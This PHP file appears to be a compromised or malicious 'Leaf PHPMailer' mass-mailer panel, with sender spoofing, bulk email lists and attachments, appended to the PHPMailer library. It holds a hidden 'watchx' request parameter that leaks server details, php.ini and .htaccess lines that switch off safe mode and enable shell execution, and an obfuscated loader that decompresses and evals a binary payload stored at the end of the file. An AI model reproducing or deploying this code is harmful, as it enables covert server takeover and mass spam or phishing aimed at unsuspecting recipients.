            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$vOCX='st'.'r'.'_r'.'ep'.'lace';$gWef='file_'.'get'.'_conten'.'ts';$uPZj='gzuncompr'.'ess';$GRUx='exi'.'t';$Koxm='su'.'bst'.'r';eval($uPZj($vOCX('kmdxougftv','>',$vOCX('dncmajivul','<',$Koxm($gWef( __FILE__ ),-36296)))));$GRUx(0);
?>
xT׮lOۈ	QMQ6轚DӋiGZR;1dncmajivul}q
l?m.p__VGޔ{3?M][p{׿EޟuFd?s|x-{}0{70嶽c[_TGӺ?b\mӜOu쿶K|+kmdxougftv?rֽhO#_Fr&R\yLмш:lPaB7¢q:z̲f=lGgT͡np1=NҰê;ύ#^tgVH\Ć.Lwڡeݑ?-WO67_2wG~J9M%2CvZL*γrfYkmdxougftvYC2cٹKHQ2"L5sg\7!f~*R.QS(ndw]P0P!,
3ȩlӼVNfZ꒍jp#wv{"{w$"٣^ǡ$(ۤIj0Ľ(7s 5	8gJ"og6itA.ag0z2|͊R?L2Gʠ	mZ\ݛL^ő5wiP$QYoM	6%0dTժVpE9}w9Իϐ]7_WCN$	_9Am{v3Yy.ƯWFw/ɕ^=K6gHs,sPQ$P2F*^a[!)ubW}2DI$^U]XPN_N7:
4;hЈOca2%	_䤟cɃPxvl2A_5{T8_lOgkF*kmdxougftv3{|Sk')̙T\xPOg? fݟ8.MBLCyOrftj:I|r	.dH6\obj jB&q5/Ig9i2NЇd+ZpN::d SCm]'1p|d\I dncmajivul75n;#ƹ2V$;hCS(SJqmFt*!/կ MH=gCT6C"Y
J|D\'ޘEQ+hpc}kmdxougftv_u"k͞jbfy.&j~ӊ:w{'55Y1TQn5s.ϮGk3'
W*.nq2!\Qsjm[	? 's_fz*9adl~p4fW%yN1[&
kmdxougftvmij	iƒ,kKc
F(Oݍ'*$t ~ȸ)0:z'5̈
D_XEdx"`dncmajivulHŏyق-p =\1Z).=/eIgEy$?R7[=jV"n_TrgduOT0dncmajivul0B\r'2r̘ϟs(\Wיp&*BoEId)yCdCxZg05)p͜|Ӧj3[~Cf$qSh8,+.87o,R 	?6
/ŎQP})z9IX)HxzώE~tG=OgыTvECêϏx+-Z%,ȶ tRJyeu1m8jqa89 j95ҳP 7TdҰdPF 6*D=\W7cZfkSd l_*dncmajivulߢk_%#?RC,W[pcAh/
0p]M[?We-U!zkCMUvk%U2yMb vdncmajivula|".c6
x2@MيNDV}]w=@OkSʾ[/:?TǊM(+]G!7o~QF	
뙍2agIii?gLͽι0Et^&K8zZׅeٍXU?zY}V'ּ.8%AfdncmajivulF:Nm"`E&F}qZL	'w'bC?w:TW9#mw?tʨ{OSaREK?b&|KcKT[JhǱ+dbf})0##}[.dncmajivulQ\mUdncmajivul`-AYZTS\̵׎Pck)%)fSΓ"F_
s#kmdxougftvB0V9R*f,g'M}tHy$``֡n.JwzeW^è4w9.nG"3,"MݩyLd*m,I?C%xs|
dncmajivulP*PPߠ#0Jv]}sZt[4.*(]IFWkmdxougftvBiHgy^&:Udv󀥕OֱJzp
mջ|J/37)C,=1pkmdxougftv }03C&ߟZ lڈ8F~G@Oztp _ۦ'UG#}Je
7賂"J97MŴ6	Ml6لJI譸Z
^g8/doo_EnDs~q&XQH(16R.L;alfdncmajivul
dv{p!gnLx)ޢu&"aYP؀s?s2*)e9!ǊwٖʭCULdJ(m19#?kmdxougftv6 0)2^w,dbs͎oʴ+ɳyS-sQ*tX (cwg1`}os\qмcIV全-8Cc˽ҧtP^"]BYS#q¬Aru֬F"t·hmI(um,L-OT!MضV%g4G%\}6yMĺ	E35zn!2?5p[ڱ{vO	(h{|_-Z*lUw_(Pƈ
 +QTMʗ:KtKkmdxougftvY_!'Bkmdxougftv{3-tۘjj,N2h+3 SrG,#9,΀dg#Dg$TkmdxougftvצƅKR&[?2dԸXTo0a4?=(ƺߎ@]ZKfApAg_[kmdxougftv@?ɏ(Uz]38I2"P300:\WJʧzBjfp㙭ڶqG$k$Fwy=/deg=4 xsŰkmdxougftv@Ϛͩm#ݰys2kmdxougftvk"ȫ3`h!j`_
D 1f(֎olO~5߸TQӐp$[͕X~4nS?ie0'M-l$֡D¶d-8 Bě7axm5sR{YgnZhlʴ ?N]QoJ,R&HҘ#}pȃb4K[,dZr8qD'$Y󸫍\SOҥVë n:41-w%/j3sI?+0u#+P\fm-)]?C2O}]N8/Þ3*+uG%H&kmdxougftvya j2ǭOB
i23tDo ̕hRʓVA:;2
 Mp
X(#  aiǐE ܚw
QP,Aۊ+bJIOZ7zfiolwyHVӵysߨ}̂kmdxougftv%fd#V̪ڐ
#aÃ-zdTϹrpsEdb:W9M{%&{'6&"D:sA`]^:TÎ-:HdePr#mw/rXB]j7P#?`@O UӔZ12?/@bQPOtA1	.4eUwH
51~n9Tύy8}r8;'єӈ,42muIs~N؇rs4'n=ANm(5Kg'T'`3S֐?{MPm\ŐYm~kadG0)*SCJnkmdxougftv|l!r]/2&|8QkJ`B"|6łT@GٙQ,?~-HgdM|'|@8C*Kd*䧚2egt[8krm4
iHzS`w0sJV`LThcL1MK?NfqUs|%K s]o/GS dncmajivul5^;Žo ';y-*Dʽ{
8'CR!	}
O$
/8$)Orաbkmdxougftv[kmdxougftvk3 9rʚx{/ruD\-+{dncmajivulpLZK:|_+˽kmdxougftv4-ɏUp/{]¨nQb{q쀒ܡLn]ǻ'
ieMm-/Jci²~ZMm;L'GLhH-5
ykuZ9]֕lM,8WŻvt=N
2ȳbC+8eafc ۆ5ddncmajivuliFrj3JSD
G,9"	t}df4~|X}?s	V9+	UM~N~O1~dncmajivulk2$xbyQK낏bO*c,7tO Vaϗ-AY!N?{6|7HE9kmdxougftvW_pIо''ԣFΜGBLdncmajivulB-*6YKq^D\KviBYm|[Aev89 ~:=Ve|E٨Q|zq,߶ȯ
sZAiOLuO^߳dncmajivul^4NQaT:P_Ѕh
A̮
M{ˇΚd\DD _(b|K47G}#
_4R,GȲX]?^OJ%G2
T	 ޓ7uH=~Eh"k1;9jQEdyfuݛ'w4N.Xy,!!=x't3*18F'+pju߶0L:uDGkmdxougftv
.E{,mA
ZaP.Ǟ791dRzgD}N.&t@, YzsZ߂vW+dncmajivulZ
ވBA&6u#g5d3l\djˊ6ʺڂU}TzĎ񰴣!k
,ƫ5gt==S!+!kv蛗c1pfZ 9ZVaŀ0o)	ɮ"ՏDcDȺ\"bt`%&m~ľHGWoy5bM*8h Ukmdxougftv&,=Q8Sx*
T r"hGi-nn7o
glek5lR*짨^Vi Bw6/F˟o~-D99"/KTAz\JKF8eDoAֱSKjo#T~1{t~-7t_3uN.\dncmajivul-"p1L
6XЁWoYi$8XY)ݴ]}cͦTJ
sR
ȣԥΓ3ܟRl65z&3&F18a?43oVHثc_7-83DD6d/%tɞ8|$ި?7"~k~:pF8"~qF0p[̚3FB
5yS-dnWk[vuŘ9n!=M4pZ._Sz s	!d5ӞgejC̽$N3mSZX$j7:EΏ1C؆]EdncmajivulG X ADGG5ҡZ)7IGkku8RYZf|
dWMPoe{{I_|"*jb0hy
}w_%ד%4:UFX.F`qg`kmdxougftvOq=k*v0BKL7Q!=#%'Wj)f4WPg5ˮ%{v37k{~՞$p|S?Jߢ| LbO_L3Sdncmajivuls,f/CuޝsԅFll7Y"DGhk{`\;8T:=$)p13FϧzِyasaItjNXYXi"["VQzX"nc467@|NQb \._ѕN^B!%ýĦ稡s.?1C#.a־vĸ/vK?fp3R*
rH
BoB^%9\V˵G+%4&M~3W"=!
? `vKYTunW'[ݳ$;NJ:^	y𾨳:_OufbTwH~3IwDؚXz$80!V1\yK+#,7ϨY"`±YCHkmdxougftvW_ig5xx-Ȃw-ϻfOO|)kmdxougftv:rBcD΍[HeÍY}kmdxougftv~C[j״}ԹY'ب;J?K#*xP귑QL ϶ؔTI*gjht0?Aks~ЛX;kmdxougftv*ҳkmdxougftv}t[A=fMTsuS8%%ڗ.hgf4ê|ڏi?
+~jbˮ e8ᣭJpb#j//VP~ÕJ5PQ.t@kmdxougftv0CdZVco6̹g1~_1@&EJy[/^EQ)Lᒕ6}м1VЄ{~ZжE,M/	kmdxougftvޚO'=1^5)A
 ڡw&넽 Qz-QAR_/J9U2dncmajivuln,7EpLV#.{ s=[c5ovK;/@ɻNLS]BI dncmajivuldncmajivul!XLo]LSc_@6rhB#S카J!;	1kmdxougftvw#	 щUM\m[Sh⡾~o @Fkmdxougftv]oE:ho',ʗMBj|*dncmajivulViChr).Xo x
xߢl`
wc?,J~('KTf4辦]َBH1;'MVOw?/~ձɎ)vJWG{	P
@OF~:R&	 
Lxjv,,?4/u
;WHicɯ"HdmmSdncmajivulQ۲B'Cŗ~^T՛גŕ|/fIG3!kxH*LUTZہnbưp|Bdncmajivul{ce0dncmajivulj&Okmdxougftv8iBeA9hTC
MQ|b}mfm|udncmajivulbH$(FBvf]໖ kZo(5; ydb	gd
EN,jJ%E 8V7gܐDN]}{n,h MazrQ5 4u'`b1&hϥ rRqvE?`-&^Gʮj[{u:Eu|ˇe[߆nו
#VS.	)Gh(fiT&.(БLt93
]ۊo/m 47B:|)
׭2Pgj+.0%h ςy @j|cw_WzW]Dpwkmdxougftv&BVNN)z|}o
̵?ӯ*]+|SfA Ӕ═E
gtbr"o!7sDIsPc$Cƪa1khc-kjZDꍁ!dncmajivulh^_eJ[~x䴣*bbs 
-dncmajivulO1)3hgv?2/2?4A6ڪ LG|mM.fLKV{Q:
	ɐJ78Ps2~UG':|z28LIy2f^)5iao"Q [\Js
Nit0Xlկ2Tʎ'64wxeJ$71O7z?D_ν?wL*?_ylkmdxougftvujKh?8BPRm
:a^dfQrg0NY 17&!ZQ?g445REv\?/qB`/{VCC}:n; |"Uʪ",vUۇg|BkƶA/[ef{)"Fkmdxougftv+(K[r lstGmrknEV(+:排KX2 ًy?5wsI]t)Ӫ!Lkmdxougftv/DPdncmajivulCxHw|f IV
Я] 0o%Gk$YIU'!p
4_9Ҹg/x1c
D֓	cGhOKkmdxougftvtm\'Ю
7EDƀ9[3za*|y-y`f\U۞Ӡ̇^k3dnNҔvrhDG*1T 6$sv
7ޅڅ@U_1юS)M/gF{{4(M׷Yٴ/bb/ȐT0`d\.by
jfqɦ9@(ʩlkɂf~WD-5	bk];SoBV'--!dncmajivulDCnk|bzM1jH2I[dncmajivulb JPlkP.XىIqf`@*iW-ؿ*\)VȌ?Kkmdxougftv!Jjm:*g8$6Swy+y/;
O ͋M@x[ky@FLM{znSƐ'jЪ!'`mhSgl] Q᧐b%AJaH
`dncmajivul~R&S8ET -{ɽZ+\/ė0#P,qdс츺;3_B́Oa%zne;
l`g[wpyngݶKu&LꍖХ{pj\x
XgMϛjS7PBwhs T1hUG5"kmdxougftvF9neJSRwI;\ȣNbJʵwuВk07{GycSwj:|pm%BK?{2,l|=w\`..ˈpD;/)2-@vׇu5#՝ᑫ-P'TݧLGb'11x&xK;w9؛oIww}^ģZ"F	@`03ح*lyDR։	@j[L!P|Yč$-(OYMtfєPn3C6w$ :D 2j؟h)J
Gjb=#՘o[	G^7*3'X)Ro .3DQUO!'$OfQBL滋/nvqRBkmdxougftvT(Ʌ/A5~%]v}'q"qȥ{5lʀS ~%5P%vm|mW7oVz#դJ51U@lsyL[B2\lpy2{T)(qIa\O
B36/y~̱1"(z9$0ftdq?]dncmajivul%9y/VMxEn"(3#$K"E[hrW. ~)_4涂1ͤc+ͪY*tV`Oqu.R1{{9^v"WҳUF.p(sRc+\кkmdxougftvZv7l	cx?0N:Cb)m9Z.$bAZt|R7CIa#zƫVdncmajivul;
(b`ڌ}-[Dydncmajivul`g&h'tf |y S7YCbu+|9޾N,XZg=815nѿ&GT?}dncmajivul$/[okmdxougftv6QQ]-bbҀ7~"ejF`̙ne"?f!uz)?퐓*kȓkAljMvmެ1tߗ$\M
xGb3	OH瘀le (*U.ݢ2Z|N-$tM"ˊ5I,hODsmnA4'©-
;j͋E՚3WInkgqeO@wͱ;.+ت7$	}
7~7Ό}bFMGkmdxougftvyL5=Y+:۾@5M7e kmdxougftv 52n'lb,^JQ_Rļߟ1%C=
`yNe)HSNEuoe1FNfŵBUx} p"q~V-^!YzOeuw{MtK$߃na'֢dncmajivul9ķ43Ti)7OQhT(]SeO44[6^ɢPY+Jժ-ieA},P=Xyw!&o!Kp| R7Ky8%[CՏE"@̹ѣ6iHtdncmajivulC4M!\LqY[{Kȯ}?p(
~u~j"⫚s	M 9ߌP13Fvǈ]yEã3ƣt42oS8l!aHcBuZ+ʫ)^5*KDâ_ӵfhU&Mc9lVK]6K/dncmajivulޑ^=CUtdJUWn}֛_mOth
ua"2{WpʲH?|Qc_j]G# 4/[Usaaꖂg~kIEvD O-tJ yCn`_Gbjkmdxougftv)/&-FCM1@_tbIWIV\^&HI{y 	՜nE7w.ybϒ[[W0}R[҅1XY(vYlRJZ6||/Sme:z.'?bL;,ߌzuޣ#i4  55ڹF?$WQ!l9fz5K5f_*9lѤUc
Q94{/{hc]dşzc뭾?'rS
r8Xd{ORWZFNv
ȯLg/F@۬/ɢEA]&9k7廓wq'*طXRaÆnja sOn-A$XmFt;QGiؼM~ca~Z;-	zJIzĐXffO*avوh͋ےhzRe"uaw@Bλ$2"RBKPp8h/.~dncmajivulB9]xħnGmrOy!dkF#1UD䔝I59G+h.BR%HZϒ(DrЮ#IV
wk@^bHM;kmdxougftv*ejh]9028~N	[Fȧ nF\6TGTcd6radncmajivulӓ DA!jb8]a,.HF=ZbY_t7Taoc`P@M[uYuj	HG]Pdncmajivul#;
-9@ϗ47p;˃:S)AhQkmdxougftv}hA5
L1j8d77E긬AYvJCUTtgwr]?wxP?q~b^9xNw2c7 Kioܠ;kmdxougftvZkmdxougftv6Q	g[Gb7|=RU]P|ʭNЈxt'BHC󢢭УT}W+sAG6bkmdxougftvmss_in鐢HğUh^W=1@#xS}6+8CXM1̼ܿ rEcX^S,$Ԅ*p}`e
`x.Tަndncmajivul8kݑ{ռkmdxougftv\/+~HK' bSqC@v-W,3?/
F.ב/ƣ:q鋓04ߩb7o֔5~r}gNFK2}沍W%|_g6n_F{U$T!y!{qsG"dncmajivul|ҿoG_,ސ1P^&t#y	Z~0}݀_xCGANsAϛ.

P.;OE)
°Zm#A˯1i xK)W'(εh`kmdxougftv!JTrՠ(GNyܣsx	^hK'3
Tdw!k kmdxougftvH3/e,Y_u1l5xnEXF_d_ʤ|Ό_lcJ{fkmdxougftvmGs}|Fa	
`tO/F^whPkmdxougftv=b{Y	"ibiy~Fe/WH(}y
򸸬銾4dncmajivulLpdncmajivul?Ukmdxougftv=-0D)?v	C-	 cVRyGnA?q6TRrb11#-ߤ{@VD,hu&ȁ43JjQcYpj
'2ڔb&q_wNc*ktWGZsg#9hi.FkmdxougftvޯHIyFBQb7%L¥dm
vuw#HFykmdxougftvvc
ﳗjB
C02՛cbC::Ikmdxougftv"#;,ICA+Ϋ9 Ykmdxougftv̣pΑ!F3\|@-,Lz=ˢh"sDvCQ;
/N	5vũO	eZ)RTUJ,}aiEZsֆ=t L?.JLb,w7Ewd]9Fs!4݂hdncmajivul&ٷ5U*FNP
BGwdncmajivul槎*2:
FKd=e_1z(
-:@96scRR|{iŝ7dncmajivulR)r"~w	7Ao1ȔA&h
okmdxougftv
AtdUB+3au=2)ԽFog
HaɔCX0G-&zMݧO;+ Zӛ'iqsK1AIL/Iwϕr	\P jy)9Z\dncmajivulueMg9]d&RCona0qVdx;RK19
N]n*;ªSHj۾t\kmdxougftvOLB0u쎚d$iX"+Tw6A4KjC߭{?r͞~+0ϭfs(!` ꩟ʻx4/=u
.SyOqfPp\.'(S*XQS\kmdxougftv]]F2CXX@g)~	BX!~?{{ZXYEx8BUk#Kc\#dncmajivul;qαk,Ivdi_oQVqzA177{\Y\s*w7@+zsD)64l8vh]WC3HG3߻yӪtM`w0g*lARqN!`g;ӒCPIx!K$fp$,÷Tzt%FExiG
9belLif;\qoG({iQa
%(+̗n(erkmdxougftv=kmdxougftv:7I6ʭrG;EL&ˬy?~oߦ8$-'׿#iooPV(kmdxougftvX[~urEzg0Y22/q+|;~k_OrPmuYtiRU;WQX}Amo{2c+0etܝ.tkmdxougftv(T(&PUE?^@3k[/`J?}^2	rx_˶
?Q6!J8|'
m2!o+꼔[_ŝTB;n+ԕOqyFفJ7naYkmdxougftvNExQ2Oi!-4`7E˭yOKb̋'!Ы)DyVgAfC./!'[6{``ӧP'܀-RCS˛;S.
sʶRܝIh{,,kmdxougftviz+]꧷
7+=nŽd9^)?f,?'vApn0gtྃ'@|r_TI1"?;\d!%w*7i',wmpKly)dK$:ݾjy)J*!5v07INS&Ue*m.Wkmdxougftv[R|^NRл3F |;Lk*.u
̹y$țXMDh
eY΢rI8ZFSʍ;)=I!zV"?iy.C֝jCE(ɱ:
	سE^ܚ'fU2GF^R;Ǡ߼IhBPjsW5BQړY#!k
Bb&
dncmajivulF0?}ajeVT^G,E/9 ;/K4̮[KsGA+d,#Km˶{#BU1=xIkmdxougftvTXq$ǿ9i}]_닇o7=45;K,3 n#k~)X|uE4 7y:B60^:
g*qK@/4%IiZV8y(+.#WSe[ϴoN)-M"fCq)7zhEuIqm"3
W:EliCX^&B,Uhu%Yۿʡ\|Tq].
&ȑ(S߰*&
	'6jGXn]B@e?mnưop5BВ;*@1r}dncmajivulai*S~؅KѢy[Tkmdxougftv"kh,]9Xl\sGR
,ᎌ~(h~"豗M_fMM/^O j2kmdxougftvy=ݵM񡓦pS}'Fi$pwJצkmdxougftv~nJ3r'Wbx;kt(*(*zQjjq@#dG"8j*UcWJzm.)(9!6 .*N!.K"5	΀`jE%ͯrMQ+砪f&ȋrS@~lXAC('9XMNw0jF)ZnDY+*{$
tPh]*GS4MVJtjaFC6:'Y_]IMPh#~2nvHTo~14ng-=*ƻuE|ՙ)p|	哀
=N`-I!whÃkmdxougftvFDjgLIh
EL*3Sec[o9;󐀭YM+MfX^6(d/NO$	`6)JX1^}.Li޳.sݭ̑xrjJ'w	aY_X,h;6Qy?TΨ8m,o`jz843T#?+TC灂k:bd. ]0C8VӅv
y]XV 
,+1H@I]P$A(!K
W~]o@9|5`K܂X@FtYuD$NP]c..I'~bolsc olʇkmdxougftvQq{q7.kPFث,
pQ5De~ 5HuMXI_᠁E#+ġE
a%G	j$Kv4J)kmLtHO Fӽs*AlfވQ0PےWq_C8v[[kr22 ?KJߑvC8JQ֫zEr#^x( _'
?m8$kmdxougftv	jw~JbQoYo}&c\)id*ӮCPN 6p,Lb{L@J)1se*DEɪ]&r~zu*3!;ŐBAZclGk^IbkmdxougftvbPx r+j*l3Ιd#݈mj=݃	ܨn6o۴CYJ^	M=cgӕkmdxougftvAZ`f U^]Iue$5Ɯ,dncmajivulx$OP"F(!ٷx8VnޱLy``wgl
+?v3 D~Nh I)pbу-@ՌfuGx9Rz)i'4̭ѽl8xbLX+)Eh\ $wg;1ɟ34Pdncmajivul%ZbU!~4rh8
1I
"VΧ}ʞ(;3J(PYˣj?vkVϠ,1Clwk84S̙nIkmdxougftvMS$t!6sc_~h!0Ja]U߱.] dpjE8n"zJʖx5Mֱ^Nߜ=
|kmdxougftvwz):^5[˝Z̯Gy	~/1eN'j 3Cs j`إʱ!Q^l!Z62kmdxougftv4p~&KHop|7zũPB|
^S4h6ӈ:/uBkmdxougftvXdX"?Zkf!`_W'fl=t0D^ovIΝv(
`YwkmdxougftvOL
#I
MC1b.n3}c$Vdncmajivulٶ 3|kmdxougftvgU
cV77kmdxougftvxdncmajivul;jStG ĉ!dncmajivulw˽($#ntubx:S0sϓyC&c_]
